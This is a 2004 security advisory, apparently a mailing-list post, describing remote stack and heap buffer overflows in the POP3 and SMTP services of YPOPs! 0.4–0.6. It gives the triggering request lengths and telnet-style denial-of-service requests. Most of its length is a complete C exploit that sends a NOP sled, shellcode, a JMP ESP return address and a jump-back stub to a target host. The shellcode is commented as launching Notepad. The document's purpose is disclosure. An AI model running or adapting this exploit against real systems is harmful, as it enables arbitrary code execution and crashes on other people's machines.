[NT] Remote Buffer overflow Vulnerability in YPOPs!

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Date: 4 Oct 2004 13:50:56 +0200

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  Remote Buffer overflow Vulnerability in YPOPs!
------------------------------------------------------------------------

SUMMARY

" <http://yahoopops.sourceforge.net/> YPOPs! is an application that
provides POP3 access to Yahoo! Mail. It is available on the Windows,
Linux, Solaris and Mac platforms."
Both POP3 and SMTP services have buffer overflow vulnerabilities. The
Remote Attacker can send specific Request to these services to cause a
Stack based buffer overflow which could allow a remote attacker to execute
arbitrary code or just simply crash the service on a vulnerable system.

DETAILS

Vulnerable Systems:
 * YahooPOPS version 0.4 up to v0.6

A YahooPOPS 0.x uses the Local SMTP and POP3 engines to send and receive
emails. SMTP service is not Enabled By default. Users can enable SMTP by
Software Options.

A POP3 USER request with more than 180 bytes will corrupt the heap. POP3
request (Dos Attack):

Telnet localhost 110
+OK POP3 YahooPOPs! Proxy ready
[USER][180xA][BBBB]

As a result the EAX and ECX will be overwritten.

SMTP request:
Sending a request with more than 504 bytes will overwrite the ESP and
cause a stack based overflow.

Telnet localhost 25
220 YahooPOPs! Simple Mail Transfer Service Ready
[504xA] [BBBB]

As a result the EIP registers will be overwritten.

Proof of Concept Code:
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[])
{
static char overflow[1024];

char ret_code[]="\x23\x9b\x02\x10"; //JMP ESP - libcurl.dll
char jump_back[]="\x89\xe3\x66\x81\xeb\xfb\x01\xff\xe3";

/*- harmless code (tnx to snooq) , will open notepad on the remote
machine */
char code[]= "\x33\xc0" // xor eax, eax slight modification to move esp
up
 "\xb0\xf0" // mov al, 0f0h
 "\x2b\xe0" // sub esp,eax
 "\x83\xE4\xF0" // and esp, 0FFFFFFF0h
 "\x55" // push ebp
 "\x8b\xec" // mov ebp, esp
 "\x33\xf6" // xor esi, esi
 "\x56" // push esi
 "\x68\x2e\x65\x78\x65" // push 'exe.'
 "\x68\x65\x70\x61\x64" // push 'dape'
 "\x68\x90\x6e\x6f\x74" // push 'ton'
 "\x46" // inc esi
 "\x56" // push esi
 "\x8d\x7d\xf1" // lea edi, [ebp-0xf]
 "\x57" // push edi
 "\xb8\x35\xfd\xe6\x77" // mov eax,XXXX -> WinExec()win2k(SP4)=0x7c4e9c1d
 "\xff\xd0" // call eax
 "\x4e" // dec esi
 "\x56" // push esi
 "\xb8\xfd\x98\xe7\x77" // mov eax,YYYY
->ExitProcess()win2k(SP4)0x7c4ee01a
 "\xff\xd0"; // call eax

   WSADATA wsaData;

   struct hostent *hp;
   struct sockaddr_in sockin;
   char buf[300], *check;
   int sockfd, bytes;
   int plen,i;
   char *hostname;
   unsigned short port;

  if (argc <= 1)
   {
          printf("YPOPs! SMTP Overflow\n");
          printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");
      printf("Usage: %s [hostname] [port]\n", argv[0]);
      printf("default port is 25 \n");
        
      exit(0);
   }

   printf("YPOPs! SMTP Overflow\n");
   printf("By: Behrang Fouladi(behrang@hat-squad.com)\n\n");

   hostname = argv[1];
   if (argv[2]) port = atoi(argv[2]);
   else port = atoi("25");

   if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
   {
      fprintf(stderr, "Error setting up with WinSock v1.1\n");
      exit(-1);
   }

   hp = gethostbyname(hostname);
   if (hp == NULL)
   {
      printf("ERROR: Uknown host %s\n", hostname);
          printf("%s",hostname);
      exit(-1);
   }

   sockin.sin_family = hp->h_addrtype;
   sockin.sin_port = htons(port);
   sockin.sin_addr = *((struct in_addr *)hp->h_addr);

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Socket Error\n");
      exit(-1);
   }

   if ((connect(sockfd, (struct sockaddr *) &sockin,
                sizeof(sockin))) == SOCKET_ERROR)
   {
      printf("ERROR: Connect Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   printf("Connected to [%s] on port [%d], sending overflow....\n",
          hostname, port);

   
   if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Recv Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(1);
   }

   /* wait for SMTP service welcome*/
   buf[bytes] = '\0';
   check = strstr(buf, "220");
   if (check == NULL)
   {
      printf("ERROR: NO response from SMTP service\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }
  
 plen=504-sizeof(code);
   memset(overflow,0,sizeof(overflow));
  
   for (i=0; i<plen;i++){strcat(overflow,"\x90");}

   strcat(overflow,code);
   strcat(overflow,ret_code);
   strcat(overflow,jump_back);
   strcat(overflow,"\n");
  
   if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
   {
      printf("ERROR: Send Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   printf("Exploit Sent.\n");
  
   closesocket(sockfd);
   WSACleanup();
   return 0;
}
Vendor Status:
Vendor was informed on 24 September 2004 by Hat-Squad Security Team

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq@hat-squad.com>
Hat-Squad Security Team.
The original article can be found at:
<http://www.hat-squad.com/en/000075.html>
http://www.hat-squad.com/en/000075.html

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